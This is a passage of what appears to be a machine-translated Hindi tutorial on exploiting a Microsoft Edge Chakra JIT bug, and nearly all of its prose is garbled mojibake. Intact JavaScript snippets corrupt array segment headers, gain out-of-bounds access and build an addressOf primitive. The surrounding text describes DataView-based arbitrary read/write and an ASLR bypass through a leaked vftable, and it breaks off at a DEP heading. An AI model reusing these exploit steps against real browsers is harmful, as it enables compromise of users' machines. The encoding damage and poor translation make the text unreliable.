рдмрд╣реБрдд рдмрдврд╝рд┐рдпрд╛! рдЕрдм рд╣рдо рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд░рдгреА рд╕реЗрдЧрдореЗрдВрдЯ рдХреЗ рд╣реЗрдбрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдореВрд▓реНрдп рд╕рд░рдгреА рдХреЗ рдЖрдХрд╛рд░ рд╣реИрдВ, рдЬрд┐рдирдХреА рдСрдлрд╕реЗрдЯ рд╣рдо рдКрдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рдСрдбрд┐рдпреЛ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдмрджрд▓реЗрдВ:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

ta2[14] рдФрд░ ta2[15] рдХреЗ рдореВрд▓реНрдпреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ - рд╡реЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕реЗрдЧрдореЗрдВрдЯ рд╣реЗрдбрд░ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рдЦреБрдж рдРрд░реЗ рд╡реИрд▓реНрдпреВ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рд╕рд╛рде, рд╣рдо рд╡реИрд╢реНрд╡рд┐рдХ рдЕрд░реИ рд╕рд░рдгреА рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рд╕рд░рдгреА рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

рдпрджрд┐ рдПрдХ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╕рд░рдгреА рдорд┐рд▓реА, рддреЛ рдкрд╣рд▓реЗ рджреЛ рддрддреНрд╡реЛрдВ рдХреЛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдлрд┐рд░ рд╕рдм рдХреБрдЫ рдареАрдХ рд╣реИред рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдРрд╕рд╛ рд╕рд░рдгреА рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЦрдВрдб рдЖрдХрд╛рд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрд╕рд╕реЗ рдмрдбрд╝рд╛ рд╣реИред рд╢реЗрд╖ рд╕рд░рдгрд┐рдпреЛрдВ рдХреЛ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдпрд╣рд╛рдВ рдпрд╣ рдпрд╛рдж рд░рдЦрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╕рд░рдгреА рдХрд╛ рдЖрдХрд╛рд░ рджреЛ рд╕рдВрд╕реНрдерд╛рдУрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реИ: рд╕рд░рдгреА рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ, рдЬрд╣рд╛рдВ рдпрд╣ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд░рд╣рд╛, рдФрд░ рд╕рд░рдгреА рд╕реЗрдЧрдореЗрдВрдЯ рдореЗрдВ, рдЬрд╣рд╛рдВ рд╣рдордиреЗ рдЗрд╕реЗ рдмрдврд╝рд╛рдпрд╛ред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ JIT рдореЛрдб рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╕рд░рдгреА рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдЖрдХрд╛рд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЖрд╕рд╛рдиреА рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

рдЙрд╕рдХреЗ рдмрд╛рдж, arr_get рдФрд░ arr_set рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП arr_set рдЖрдк рд╕рд░рдгреА ( OOB , out-of-bound ) рдХреА рд╕реАрдорд╛рдУрдВ рд╕реЗ рдкрд░реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред


OOB рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЖрджрд┐рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП


рдЗрд╕ рдЦрдВрдб рдореЗрдВ, рд╣рдо рдПрдХ рдРрд╕реА рддрдХрдиреАрдХ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ OOB рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЬрд┐рд╕ рд╡рд┐рдзрд┐ рд╕реЗ рд╣рдо рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рд╡рд╣ рд╕реНрд░реЛрдд [1] рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдорд╛рди рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЗрд╕рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрджрд▓рд╛рд╡ рднреА рд╣реЛрдВрдЧреЗред


Edge рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ Edge рдвреЗрд░ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХреЛрдВ рдХреЛ рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг, рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдХрд┐рд╕реА рднреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддреЗ рд╕рдордп, рдЬрд┐рддрдиреА рдЬрд▓реНрджреА рдпрд╛ рдмрд╛рдж рдореЗрдВ рд╡реЗ рд╕рд░рдгреА рд╕реЗрдЧрдореЗрдВрдЯ рдХреЗ рдмрд╛рдж рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗ, рдЬрд┐рд╕рдХреЗ рдЖрдЧреЗ рд╣рдо рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣ рд╣рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯ рддрд░реАрдХреЛрдВ ( vftable ) рдХреА рдПрдХ рдЖрднрд╛рд╕реА рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрддрд╛ рд╕реНрдерд╛рди ( vftable ) рдХреЗ рдпрд╛рджреГрдЪреНрдЫрд┐рдХрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдХрд┐рди рд╡рд╕реНрддреБрдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рд╣рдореЗрдВ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓реЗрдЧреА? DataView рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рдПрдХ рдЬреЛрдбрд╝реА рдЗрд╕рдХреЗ рд▓рд┐рдП рдорд╣рд╛рди рд╣реИред


рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдмрд╛рдЗрдЯ рдСрд░реНрдбрд░ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ DataView рдПрдХ рдмрд╛рдЗрдирд░реА ArrayBuffer рдореЗрдВ рдХрдИ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

DataView рдХреА рдЖрдВрддрд░рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдПрдХ рдмрдлрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрддрд╛ рд╣реИред рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рджреЛ DataView ( dv1 рдФрд░ dv2 ) рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: dv1 рдмрдлрд░ рдХреЗ рд░реВрдк рдореЗрдВ dv1 рд╕рд░рдгреА рддрдХ dv2 рдкрддрд╛ dv2 рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВред рдЕрдм dv1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо dv2 рдмрдлрд░ рдХреЗ рдкрддреЗ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкрдврд╝рдирд╛ рдФрд░ рд▓рд┐рдЦрдирд╛ рд╣рд╛рд╕рд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ, рдЗрд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


рдордирдорд╛рдирд╛ рд╕рдВрдмреЛрдзрди рдкрдврд╝реЗ / рд▓рд┐рдЦреЗ


рдЗрд╕ рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рд╕реНрдореГрддрд┐ рдореЗрдВ рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдкрддреЗ рдХреИрд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрди рддрдХрдиреАрдХ рдореМрдЬреВрдж рд╣реИ: рдЖрдкрдХреЛ рдПрдХ рдирдпрд╛ Array рдмрдирд╛рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ, рдЗрд╕рдХреА vftable рдФрд░ typeId (рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдкрд╣рд▓реЗ рджреЛ 64-рдмрд┐рдЯ рдлрд╝реАрд▓реНрдб) рдХреЛ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП vftable рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд░реЗрдВ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдкрддрд╛ рдПрд░реЗ рдХреЗ рдкрд╣рд▓реЗ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХрд╛ рд╣реИред рдЙрд╕рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╕рд╣реЗрдЬреЗ рдЧрдП vftable рдФрд░ typeId рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЕрдм рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдкрддреЗ рдХреЗ рдЬреВрдирд┐рдпрд░ рдФрд░ рд╕реАрдирд┐рдпрд░ рдбрдмрд▓ рд╢рдмреНрдж рдХреЛ рд╕рд░рдгреА рдХреЗ рдкрд╣рд▓реЗ рдФрд░ рджреВрд╕рд░реЗ рддрддреНрд╡ рдХрд╛ рд╕рдВрджрд░реНрдн рджреЗрдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдирдпрд╛ рд╕рд░рдгреА IntArray , рдФрд░ рд╕рд░рдгреА рдХреЗ 4-рдмрд╛рдЗрдЯ рдорд╛рди рдЕрдкрдиреЗ рдЦрдВрдб рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВ рдЬреИрд╕реЗ рд╡реЗ рд╣реИрдВред рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХрд┐рд╕реА рдРрд░реЗ рдореЗрдВ рдЕрд╕рд╛рдЗрди рдХрд░рддреЗ рд╕рдордп, рдРрд░реЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд╕реЗрдЧрдореЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдПрдбреНрд░реЗрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд░реВрдкрд╛рдВрддрд░рдг рдкрд░рд┐рд╡рд░реНрддрдирд╢реАрд▓ рдФрд░ typeId ред рддрджрдиреБрд╕рд╛рд░, рдпрджрд┐ рд╣рдо рдореВрд▓ рдорд╛рдиреЛрдВ рдХреЛ vftable рдФрд░ typeId , рддреЛ рдЗрд╕ рд╕рд░рдгреА рдХреЗ рддрддреНрд╡реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдо рд╕реАрдзреЗ рдЦрдВрдб рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ рд╡рд░реНрдгрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


рд╕реВрдЪрдХ рд░рд┐рд╕рд╛рд╡


рдкрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реЛрдЧрд╛:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

рдПрдХ рдЦреБрд▓рд╛ рдкреНрд░рд╢реНрди OOB рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрд╡рд╢реНрдпрдХ рд╡рд╕реНрддреБрдУрдВ рдФрд░ рдЙрдирдХреА рдЦреЛрдЬ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд░рд╣рддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрдм рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЬрд▓реНрджреА рдпрд╛ рдмрд╛рдж рдореЗрдВ рд╡реЗ рд╕рд░рдгреА рд╕реЗрдЧрдореЗрдВрдЯ рдХреЗ рдмрд╛рдж рдмрд╛рд╣рд░ рдЦрдбрд╝реЗ рд╣реЛрдиреЗ рд▓рдЧреЗрдВрдЧреЗ, рдЬрд┐рд╕рдХреЗ рдЖрдЧреЗ рд╣рдо рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрд╡рд╢реНрдпрдХ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХ рд╡рд╕реНрддреБрдУрдВ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рд╕рд░рдгреА рдХреЗ рдмрд╛рд╣рд░ рд╕реВрдЪрдХрд╛рдВрдХреЛрдВ рд╕реЗ рдЧреБрдЬрд░рдирд╛ рд╣реЛрдЧрд╛ред рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рд╣реА рдкреНрд░рдХрд╛рд░ рдХреА рд╕рднреА рд╡рд╕реНрддреБрдПрдВ рдвреЗрд░ рдХреЗ рдПрдХ рдЦрдВрдб рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИрдВ, рдЖрдк рдЦреЛрдЬ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ 0x10000 рд╡реЗрддрди рд╡реГрджреНрдзрд┐ рдореЗрдВ рдвреЗрд░ рдХреЗ рдЦрдВрдбреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдвреЗрд░ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдЦрдВрдб рдХреА рд╢реБрд░реБрдЖрдд рд╕реЗ рдХреЗрд╡рд▓ рдкрд╣рд▓реЗ рдХреБрдЫ рдореВрд▓реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЙрдиреНрд╣реЗрдВ рдХреБрдЫ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрджреНрд╡рд┐рддреАрдп рдорд╛рди рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, DataView рдпрд╣ byteOffset рд╣реЛ рд╕рдХрддрд╛ рд╣реИ) рдпрд╛, рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬреНрдЮрд╛рдд рд╕реНрдерд┐рд░рд╛рдВрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, IntArray рдореЗрдВ Edge рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ, рдорд╛рди 0x10005 рд╣рдореЗрд╢рд╛ 0x18 рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред


рдЙрдкрд░реЛрдХреНрдд рд╕рднреА рддрдХрдиреАрдХреЛрдВ рдХреЛ рдорд┐рд▓рд╛рдХрд░, рдЖрдк рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рдиреАрдЪреЗ DataView рдореЗрдореЛрд░реА рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрдврд╝рдиреЗ рдХрд╛ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд╣реИред


рд╕реНрдореГрддрд┐ рд░рд┐рд╕рд╛рд╡


рдЪрд░рдг 2. рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдПрдкреАрдЖрдИ рдХрд╛рд░реНрдп рдХрд░рдирд╛


рдЗрд╕ рд╕реНрддрд░ рдкрд░, рд╣рдо Edge рдХрдВрдЯреЗрдВрдЯ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред рдореБрдЦреНрдп рддрдХрдиреАрдХреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ рдХрд┐ рдЖрд╡реЗрджрди рдХреЗ рдЖрдЧреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдФрд░ рдЙрдирдХреЗ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд▓реЗрдЦ app specific security mitigation ( рднрд╛рдЧ 1, рдкрд░рд┐рдЪрдпрд╛рддреНрдордХ , рднрд╛рдЧ 2, рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдФрд░ рдПрдЬ , рднрд╛рдЧ 3, Google рдХреНрд░реЛрдо ) рдХреА рдПрдХ рдЫреЛрдЯреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд┐рдЦреА рдереА, рд▓реЗрдХрд┐рди рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрднреА рднреА рдЦрдбрд╝реЗ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рдЙрддреНрдкрд╛рджреЛрдВ рдореЗрдВ рдирдП рдЙрдкрдХрд░рдг рдЬреЛрдбрд╝реЗрдВ рд╕реБрд░рдХреНрд╖рд╛ред


рдкрддрд╛ рд╕реНрдерд╛рди рд░реИрдВрдбрдорд╛рдЗрдЬреЗрд╢рди ( ASLR )


ASLR (рд╕рдВрд▓рдЧреНрди рдкрддрд╛ рд╕реНрдерд╛рди рд▓реЗрдЖрдЙрдЯ рд░реИрдВрдбрдорд╛рдЗрдЬреЗрд╢рди) рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЗ рд╕реНрдерд╛рди рдХреЛ рдмреЗрддрд░рддреАрдм рдврдВрдЧ рд╕реЗ рдмрджрд▓рддреА рд╣реИ, рдЕрд░реНрдерд╛рддреН: рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдЫрд╡рд┐рдпрд╛рдВ, рд▓реЛрдб рдХреА рдЧрдИ рд▓рд╛рдЗрдмреНрд░реЗрд░реА, рдвреЗрд░ рдФрд░ рдвреЗрд░ред

рдКрдкрд░, рд╣рдордиреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдХреНрд▓рд╛рд╕ рдЯреЗрдмрд▓ рдХреЗ рдкрддреЛрдВ рдХреЛ рдкрдврд╝рдирд╛ рд╕реАрдЦрд╛, рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдо рдЖрд╕рд╛рдиреА рд╕реЗ Chakra.dll рдореЙрдбреНрдпреВрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрддреЗ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП ASLR рдЖрдЧреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рд╕рдорд╕реНрдпрд╛рдПрдВ рдкреЗрд╢ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред


рдбреЗрдЯрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрд░рдХреНрд╖рдг ( DEP , NX )


